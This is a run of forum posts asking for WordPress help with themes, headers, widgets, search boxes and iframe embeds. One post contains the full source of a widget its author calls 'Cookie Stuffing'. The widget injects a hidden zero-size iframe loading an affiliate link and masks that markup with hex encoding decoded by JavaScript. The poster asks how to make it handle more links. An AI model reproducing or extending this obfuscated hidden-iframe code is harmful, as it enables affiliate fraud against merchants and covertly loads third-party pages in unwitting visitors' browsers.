HTML - Wordpress Help!? Pleasee,

I am using the lated release of WordPress and I am using WP-Forum to enable a forum on my site. I changed many of the images and some of the css that was on a default theme to make my own but I cannot figure out one thing. When you click new post and the text box shows up with subject and message the message box is cols="80" and I wan it to be cols="75" so it does not go over into the sidebar. My website is www.ipodtouchcafe.com. Below is the code I got from firebug:

<textarea name="message" cols="80" rows="20"/>

That is the text box for the message and the Bold, Italic, Underlined part is the cols section. Feel free to go to my website and register so you can see what I am talking about. THANKS!

I would like to know if anyone knows how to integrate a Wordpress blog into your html website? Would I have to make a template from scratch just for Wordpress or is their a simple way of doing this?


I like my sites design and would love to keep it that way. Please let me know. Thank you very much.

Hi,
My website is really acting strange. I've altered my header.php page to display a custom banner I made for the front page instead of "Site Title" (div class = "head-title") which was what it was set to. I thought I was good to go until I click the other pages. For some reason the banner magically disappears on the rest of the pages. The main index.php and page.php templates both have <?php get_header(); ?> at the top of each. So the code looks identical when I view page source for the other pages. I'm stumped as to why the header isn't showing throughout the site. Please help if you can. URL: http://www.princesscutdiamond.org.

Thanks,

hi,

what's the best cms, wordpress or Jomla ?

I really like the backup plugins in Joomla, I dunno if it exists something similar in wordpress.

The wordpress backend seems to be more professional...

thanks

Hi folks,
I'm trying to achieve something in a wordpress widget, but no good result so far.
Please have a look at the image.
My problem is that I cant separate text from the image on the right side.
Cant give the space between "vivamus lectus" and the "venenatis tempus..."
And cant separate social icons on bottom without using a table.
I'm coding it with normal html, no css.

Can you please help me out?
thanks

Hey!

I've recently transfered my blog over to wordpress.org (from wordpress.com) and now have the ability to alter my template, but i need some help with a few things!

The current widgets i have up i believe came across with the back up copy of my original blog, but they aren't mentioned within 'widgets' in my dashboard. I added a mailing list and I'm wanting it to appear under the search bar, i presume to do this i will need to alter the code, but i can't find where to edit the code as i added the mailing list box as a widget, and it hasn't seemed to appear within the code where all the other current widgets i have are displayed. Does anyone know how i can move the mailing list up higher??

Also, I'm wanting to create a 'home' page which directs back to the home page of my blog. I had this set-up on my previous blog where i set the title to the url. But i removed it as with the new template it directed to a new page, called home. I'm wondering if someone knows how i can set up a page that directs to the home page of my blog? And also, if it's possible to place the page at the front of my other pages. Ie. "Home : About : Recommended Reading". And not "About : Recommended Reading : Home". ?

And one last thing! I'm wanting to add a Google search tool to the current search bar that's on my blog. I would like it to look the same, if thats possible(?) but have the option of searching my blog, or the web along with a small Google banner at the bottom. I'm unsure where i should add this code, as within the theme editor i have a section titled "search results" which is a fairly long php code, and i also have a small section within the "sidebar" section which says:

<!-- Search -->
<div id="sidebar-search">
<form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">
<input type="text" value="<?php the_search_query(); ?>" name="s" id="s" />
<input type="submit" id="searchsubmit" value="" />
</form>
</div>
<!-- /Search -->


Should i add the Google html code to that part? Or will i need to change the php code as well for it to work?

Appreciate any help!

I have a wordpress widget I have been using. It is for Cookie Stuffing and allows you to add an affiliate link into a input field, the only problem is that you can only add one link. Does anyone know how to add another text field? Heres the code:

Code:

// We're putting the plugin's functions in one big function we then
// call at 'plugins_loaded' (add_action() at bottom) to ensure the
// required Sidebar Widget functions are available.
function widget_getcookie_init() {

    // Check to see required Widget API functions are defined...
    if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') )
        return; // ...and if not, exit gracefully from the script.

    // This function prints the sidebar widget--the cool stuff!
    function widget_getcookie($args) {

        // $args is an array of strings which help your widget
        // conform to the active theme: before_widget, before_title,
        // after_widget, and after_title are the array keys.
        extract($args);

        // Collect our widget's options, or define their defaults.
        $options = get_option('widget_getcookie');
        //$title = empty($options['title']) ? 'My Widget' : $options['title'];
        $text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text'];

         // It's important to use the $before_widget, $before_title,
         // $after_title and $after_widget variables in your output.
        echo $before_widget;
      //  echo $before_title . $title . $after_title;
        
// this where to put output  
$string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>";
$hex_string = bin2hex($string);
$code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>";
echo $code;
// end output
        echo $after_widget;
    }

    // This is the function that outputs the form to let users edit
    // the widget's title and so on. It's an optional feature, but
    // we'll use it because we can!
    function widget_getcookie_control() {

        // Collect our widget's options.
        $options = $newoptions = get_option('widget_getcookie');

        // This is for handing the control form submission.
        if ( $_POST['getcookie-submit'] ) {
            // Clean up control form submission options
            $newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title']));
            $newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url']));


        }

        // If original widget options do not match control form
        // submission options, update them.
        if ( $options != $newoptions ) {
            $options = $newoptions;
            update_option('widget_getcookie', $options);
        }

        // Format options as valid HTML. Hey, why not.
        $title = htmlspecialchars($options['title'], ENT_QUOTES);
        $text = htmlspecialchars($options['text'], ENT_QUOTES);

// The HTML below is the control form for editing options.
?>
        <div>
    <!--    <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
        <p>Make sure you use http:// in your url!</p>
        <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
        <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
        </div>
    <?php
    // end of widget_getcookie_control()
    }

    // This registers the widget. About time.
    register_sidebar_widget('Get Cookie', 'widget_getcookie');

    // This registers the (optional!) widget control form.
    register_widget_control('Get Cookie', 'widget_getcookie_control');
}

// Delays plugin execution until Dynamic Sidebar has loaded first.
add_action('plugins_loaded', 'widget_getcookie_init');
?>

I believe this is where I need to be looking...

Code:

// The HTML below is the control form for editing options.
?>
        <div>
    <!--    <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
        <p>Make sure you use http:// in your url!</p>
        <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
        <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
        </div>
    <?php
    // end of widget_getcookie_control()
    }

I would be very greatful if anyone could help me out.

I want to build a simple HTML site on WordPress but I don't want to use the templates they offer there. I also want to add java script effects.
Or is there a way to modify the design of big areas in case I do use a custom template?

Sorry if this is in the wrong section, but I couldn't find where to put it.

I have installed 2 wordpress blogs on over the last few months and they both have the same problem. I can write posts, but I cannot format them at all. If I do so, it doesn't publish. It just takes me back to the index page.

any help would be greatly appreciated.

Hi,

I have just started to manage a website on Wordpress. There is a header at the top of every page. It used to say the name of the website, but for some reason it has changed to the name of a post that was made a long time ago. Does anyone know how to change this header?

Thank you very much.

Hi. I was trying to post in WordPress a document I made in OpenOffice through it's Word paste function. I tried with MS Word also, but both Open Office Writer and MS Office Word didn't work - just gave me a blank space when I inserted the document.

I also tried posting with ScribeFire. I pasted the text, it showed up, but when I posted just blank space.

I exported the document to a htm file, but obviously when I just pasted the code of the htm, the images didn't show up, because it was missing the necessary files.

As it didn't work (the images didn't show up) hosted both the htm and the files in 000webhost. Everything fine, everything showed up on the website. Time to embed in WordPress.

So I googled a bit and found lots os tutorials to do what I wanted, like:

http://www.bloggertipsandtricks.com/...rame.html#here

http://www.bloggertipandtrick.net/20...ther-site.html

But when I click post, it just deletes the code or something, because it shows a blank space again. Yes I'm posting in HTML mode.

So... What is wrong with WordPress? I just want to use the iFrame to embed my website, but it doesn't let me!

Can you help me please?

Thank you.

I'm very good w/ SEO and Adwords - however, I stink with web design. I know HTML and CSS and have helped clients over the last two years w/ SEO - however, I want to venture off into IM for myself.

Since I'm pretty bad w/ design - would you guys recommend WP or something else?
